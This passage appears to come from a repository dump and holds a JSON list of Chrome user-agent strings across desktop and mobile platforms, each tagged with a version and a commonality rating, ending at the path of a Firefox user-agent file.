AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/31.0.1650.63 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"60\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"58\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/58.0.3029.81 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2704.106 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"28\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.3; en-us; SAMSUNG SM-S765C Build\\/JLS36C) AppleWebKit\\/537.36 (KHTML, like Gecko) Version\\/1.5 Chrome\\/28.0.1500.94 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"21\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.1 (KHTML, like Gecko) Chrome\\/21.0.1180.75 Safari\\/537.1\"},{\"commonality\":\"Average\",\"version\":\"61\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 7.0; SM-G955U Build\\/NRD90M) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/61.0.3163.98 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2704.84 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"28\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.1.2; LGMS500 Build\\/JZO54K) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/28.0.1500.94 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"63\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 6.0.1; LGLS676 Build\\/MXB48T) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/63.0.3239.111 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"53\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/53.0.2785.21 Safari\\/537.36 MMS\\/1.0.2459.0\"},{\"commonality\":\"Average\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 5.1.1; 5065N Build\\/LMY47V) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/48.0.2564.95 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"53\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/53.0.2785.101 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"23\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.11 (KHTML, like Gecko) Chrome\\/23.0.1271.97 Safari\\/537.11\"},{\"commonality\":\"Average\",\"version\":\"24\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64) AppleWebKit\\/537.17 (KHTML, like Gecko) Chrome\\/24.0.1312.52 Safari\\/537.17\"},{\"commonality\":\"Average\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 5.1; C6740N Build\\/LMY47O; wv) AppleWebKit\\/537.36 (KHTML, like Gecko) Version\\/4.0 Chrome\\/46.0.2490.76 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/45.0.2454.85 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"60\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.90 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/47.0.2526.80 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 6.0; Nexus 5 Build\\/MRA58N) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/46.0.2490.76 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/48.0.2564.109 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"41\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/41.0.2272.118 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"19\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2) AppleWebKit\\/536.3 (KHTML, like Gecko) Chrome\\/19.0.1061.1 Safari\\/536.3\"},{\"commonality\":\"Average\",\"version\":\"43\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/43.0.2357.132 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"64\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_13_3) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/64.0.3282.119 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"63\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 7.0; SM-G930V Build\\/NRD90M) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/63.0.3239.111 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2704.106 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/48.0.2564.109 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (X11; Linux i686) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/47.0.2526.80 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit\\/534.20 (KHTML, like Gecko) Chrome\\/11.0.672.2 Safari\\/534.20\"},{\"commonality\":\"Average\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/46.0.2480.0 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"20\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2) AppleWebKit\\/536.6 (KHTML, like Gecko) Chrome\\/20.0.1090.0 Safari\\/536.6\"},{\"commonality\":\"Average\",\"version\":\"62\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/62.0.3202.94 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (X11; CrOS armv7l 7390.68.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/46.0.2490.82 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"63\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/63.0.3239.84 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"38\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 6.0; LG-H815 Build\\/MRA58K) AppleWebKit\\/537.36 (KHTML, like Gecko) Version\\/4.0 Chrome\\/38.0.2125.102 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"39.5\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/39.5.2171.95 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"65\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/65.0.3325.162 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.112 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"64\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/64.0.3282.140 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2704.79 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_3) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/47.0.2526.111 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/47.0.2526.80 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"59\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/59.0.3071 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"54\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 6.0.1; Redmi 4 Build\\/MMB29M) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/54.0.2840.85 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"56\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/56.0.2924.87 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"54\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 6.0.1; Redmi 4A Build\\/MMB29M) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/54.0.2840.85 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/47.0.2526.80 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"12\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/534.30 (KHTML, like Gecko) Chrome\\/12.0.742.112 Safari\\/534.30\"},{\"commonality\":\"Average\",\"version\":\"38\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 5.1.1; LGMS631 Build\\/LMY47V) AppleWebKit\\/537.36 (KHTML, like Gecko) Version\\/4.0 Chrome\\/38.0.2125.102 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"54\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/54.0.2840.71 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 6.0.1; Nexus 6 Build\\/MMB29X) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/50.0.2661.89 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"19\",\"ua\":\"Mozilla\\/5.0 (iPad; U; CPU OS 5_1_1 like Mac OS X; en-us) AppleWebKit\\/534.46.0 (KHTML, like Gecko) CriOS\\/19.0.1084.60 Mobile\\/9B206 Safari\\/7534.48.3\"},{\"commonality\":\"Average\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.87 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/45.0.2454.85 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"65\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/65.0.3325.146 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"57\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/57.0.2987.110 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-US) AppleWebKit\\/530.5 (KHTML, like Gecko) Chrome\\/ Safari\\/530.5\"},{\"commonality\":\"Average\",\"version\":\"18.6\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/535.2 (KHTML, like Gecko) Chrome\\/18.6.872.0 Safari\\/535.2 UNTRUSTED\\/1.0 3gpp-gba UNTRUSTED\\/1.0\"},{\"commonality\":\"Average\",\"version\":\"38\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/38.0.2125.111 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"64\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/64.0.3282.167 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"53\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 6.0.1; vivo 1606 Build\\/MMB29M) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/53.0.2785.124 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"23\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit\\/537.11 (KHTML, like Gecko) Chrome\\/23.0.1271.101 Safari\\/537.11\"},{\"commonality\":\"Average\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/47.0.2526.111 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit\\/531.3 (KHTML, like Gecko) Chrome\\/4.0.249.89 Safari\\/531.3\"},{\"commonality\":\"Average\",\"version\":\"29\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/29.0.1547.2 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"28\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.4.2; en-us; SAMSUNG SM-T530NU Build\\/KOT49H) AppleWebKit\\/537.36 (KHTML, like Gecko) Version\\/1.5 Chrome\\/28.0.1500.94 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"54\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/54.0.2840.99 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"31\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.4.2; LGMS323 Build\\/KOT49I.MS32310b) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/31.0.1650.59 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/45.0.2454.85 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"34\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/34.0.1847.116 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"63\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 7.1.1; Moto E (4) Build\\/NCQ26.69-46) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/63.0.3239.111 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/47.0.2526.111 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"42\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 5.1.1; SM-G360T1 Build\\/LMY47X) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/42.0.2311.111 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"31\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/31.0.1650.63 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"64\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 7.0; SM-G950U Build\\/NRD90M) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/64.0.3282.137 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"62\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 7.0; LGMP260 Build\\/NRD90U) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/62.0.3202.84 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"30\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.2; en-us; LG-D850\\/D85010d Build\\/KVT49L.D85010d) AppleWebKit\\/537.36 (KHTML, like Gecko) Version\\/4.0 Chrome\\/30.0.1599.103 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"63\",\"ua\":\"Mozilla\\/5.0 (X11; CrOS armv7l 10032.75.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/63.0.3239.116 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.75 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"30\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.4.2; XT1031 Build\\/KXB20.9-1.10-1.18-1.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/30.0.1599.92 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"38\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 5.0.1; LGL33L\\/V100 Build\\/LRX21Y) AppleWebKit\\/537.36 (KHTML, like Gecko) Version\\/4.0 Chrome\\/38.0.2125.102 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"63\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/63.0.3239.108 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (X11; CrOS armv7l 8172.62.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2704.106 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"31\",\"ua\":\"Mozilla\\/5.0 (X11; CrOS x86_64 4731.101.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/31.0.1650.67 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"24\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit\\/537.17 (KHTML, like Gecko) Chrome\\/24.0.1312.56 Safari\\/537.17\"},{\"commonality\":\"Average\",\"version\":\"24\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0) AppleWebKit\\/537.17 (KHTML, like Gecko) Chrome\\/24.0.1312.52 Safari\\/537.17\"},{\"commonality\":\"Average\",\"version\":\"43\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 5.0; Lenovo A1000 Build\\/S100) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/43.0.2357.93 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 9_2_1 like Mac OS X) AppleWebKit\\/601.1 (KHTML, like Gecko) CriOS\\/48.0.2564.104 Mobile\\/13D15 Safari\\/601.1.46\"},{\"commonality\":\"Average\",\"version\":\"44\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 6.0; Android SDK built for x86 Build\\/MASTER; wv) AppleWebKit\\/537.36 (KHTML, like Gecko) Version\\/4.0 Chrome\\/44.0.2403.119 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"64\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/64.0.3282.186 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"61\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 7.0; SM-G950U Build\\/NRD90M) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/61.0.3163.98 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"61\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 10_3_3 like Mac OS X) AppleWebKit\\/603.1.30 (KHTML, like Gecko) CriOS\\/61.0.3163.73 Mobile\\/14G60 Safari\\/602.1\"},{\"commonality\":\"Average\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 6.0.1; ZTE-Z832 Build\\/MMB29M; wv) AppleWebKit\\/537.36 (KHTML, like Gecko) Version\\/4.0 Chrome\\/45.0.2454.95 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"52\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/52.0.2743.116 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2704.84 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"55\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 6.0; LG-D855 Build\\/MRA58K; wv) AppleWebKit\\/537.36 (KHTML, like Gecko) Version\\/4.0 Chrome\\/55.0.2883.91 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit\\/534.16 (KHTML, like Gecko) Chrome\\/10.0.648.133 Safari\\/534.16\"},{\"commonality\":\"Average\",\"version\":\"63\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/63.0.3239.84 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"62\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/62.0.3202.75 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"59\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.4.4; E2124 Build\\/24.0.B.5.14) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/59.0.3071.125 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"56\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/56.0.2924.76 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.75 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"37\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 5.0; Micromax AQ5001 Build\\/LRX21M) AppleWebKit\\/537.36 (KHTML, like Gecko) Version\\/4.0 Chrome\\/37.0.0.0 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"63\",\"ua\":\"Mozilla\\/5.0 (X11; CrOS armv7l 10032.86.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/63.0.3239.140 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"62\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 7.0; SM-G950U Build\\/NRD90M) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/62.0.3202.84 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"54\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/54.0.2840.87 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"53\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/53.0.2785.116 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"42\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 5.1.1; Z828 Build\\/LMY47V) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/42.0.2311.111 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/50.0.2661.75 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"25\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_8_2) AppleWebKit\\/537.22 (KHTML, like Gecko) Chrome\\/25.0.1364.172 Safari\\/537.22\"},{\"commonality\":\"Average\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 8_3 like Mac OS X) AppleWebKit\\/600.1.4 (KHTML, like Gecko) CriOS\\/47.0.2526.107 Mobile\\/12F69 Safari\\/600.1.4\"},{\"commonality\":\"Average\",\"version\":\"64\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 11_2_5 like Mac OS X) AppleWebKit\\/604.1.34 (KHTML, like Gecko) CriOS\\/64.0.3282.112 Mobile\\/15D60 Safari\\/604.1\"},{\"commonality\":\"Average\",\"version\":\"63\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 7.1.1; SM-T350 Build\\/NMF26X) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/63.0.3239.111 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"61\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/61.0.3163.98 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"43\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/43.0.2357.124 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"56\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 6.0.1; SM-G610F Build\\/MMB29K) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/56.0.2924.87 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"54\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/54.0.2840.98 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 5.1.1; 5065N Build\\/LMY47V; wv) AppleWebKit\\/537.36 (KHTML, like Gecko) Version\\/4.0 Chrome\\/46.0.2490.76 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2704.79 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/47.0.2526.80 Safari\\/537.36\"}]"
  },
  {
    "path": "User Agents/json/firefox.json",
